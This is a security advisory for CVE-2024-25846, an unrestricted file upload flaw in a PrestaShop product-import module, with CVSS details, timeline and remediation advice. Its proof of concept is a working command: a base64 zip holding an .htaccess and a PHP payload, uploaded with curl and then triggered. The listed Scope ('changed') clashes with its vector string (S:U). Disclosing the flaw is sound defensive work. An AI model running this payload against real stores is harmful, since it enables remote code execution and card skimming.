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[CVE-2024-25846] Unrestricted Upload of File with Dangerous Type in MyPrestaModules - Product Catalog (CSV, Excel) Import module for PrestaShop
In the module “Product Catalog (CSV, Excel) Import” (simpleimportproduct) up to version 6.7.0 from MyPrestaModules for PrestaShop, a guest can upload files with extensions .php.
Summary
- CVE ID: CVE-2024-25846
- Published at: 2024-02-27
- Platform: PrestaShop
- Product: simpleimportproduct
- Impacted release: <= 6.7.0 (6.7.1 ““fixed”” the vulnerability - See note below)
- Product author: MyPrestaModules
- Weakness: CWE-434
- Severity: critical (10)
Description
The method Send::__construct() allows the upload of .zip files, which can be auto uncompress in a predictable directory, author tries to protect it with a.htaccess, but since we can forge a zip with a custom .htaccess and a PHP payload, it will lead to a critical vulnerability CWE-94.
WARNING : Be warned that this exploit will bypass the majority of WAF (zipped payload with htaccess auto-hijacked)
Note : The author has moved its exposed ajax script which suffers a critical issue to a front controller under an unpredictable token. It remains a critical vulnerability issue with a CVSS 3.1 score 9.1/10. For this reason, you should consider to delete this module.
Edit 2024-07-09 - WARNING : This exploit is actively used to deploy webskimmer to massively steal credit cards. Since POC is now exploited, it is considered public.
CVSS base metrics
- Attack vector: network
- Attack complexity: low
- Privilege required: none
- User interaction: none
- Scope: changed
- Confidentiality: high
- Integrity: high
- Availability: high
Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Possible malicious usage
- Obtain admin access
- Remove data from the associated PrestaShop
- Steal data
Proof of concept
echo 'UEsDBBQAAAAIACmivFa0Sii9DgAAAA4AAAAJAAAALmh0YWNjZXNzS8zJyS9XSCvKz1UAMgFQSwMEFAAAAAgAoqG8Vp+ixh8WAAAAFAAAAAUAAABhLnBocLOxL8go4OVKTc7IV9AwMtQ2MtS0BgBQSwECHwAUAAAACAAporxWtEoovQ4AAAAOAAAACQAkAAAAAAAAACAAAAAAAAAALmh0YWNjZXNzCgAgAAAAAAABABgA59XXo5CR2QHn1dejkJHZAeJTwpqQkdkBUEsBAh8AFAAAAAgAoqG8Vp+ixh8WAAAAFAAAAAUAJAAAAAAAAAAgAAAANQAAAGEucGhwCgAgAAAAAAABABgA07RBDJCR2QHTtEEMkJHZAaRqZqCOkdkBUEsFBgAAAAACAAIAsgAAAG4AAAAAAA==' > tmp && base64 -d tmp > test.zip && curl -v -F "file=@test.zip" 'https://preprod.X/modules/simpleimportproduct/classes/send.php?zip_file=1&ajax=1&stepTwo=1&import_settings_name=1' && curl -v 'https://preprod.X/modules/simpleimportproduct/data/zip_files/a.php'
Other recommendations
- It’s recommended to delete the module simpleimportproduct or at least, to upgrade it to its latest version.
- Activate OWASP 933’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.
Timeline
| Date | Action |
|---|---|
| 2023-05-28 | Issue discovered during a code review by TouchWeb.fr |
| 2023-05-28 | Contact PrestaShop Addons security Team to confirm version scope |
| 2023-06-01 | PrestaShop Addons security Team confirms version scope |
| 2023-11-15 | Author provide a patch |
| 2024-02-22 | Received CVE ID |
| 2024-02-27 | Publish this security advisory |
Links
DISCLAIMER: The French Association Friends Of Presta (FOP) acts as an intermediary to help hosting this advisory. While we strive to ensure the information and advice provided are accurate, FOP cannot be held liable for any consequences arising from reported vulnerabilities or any subsequent actions taken.
This advisory and patch is licensed under CC BY-SA 4.0
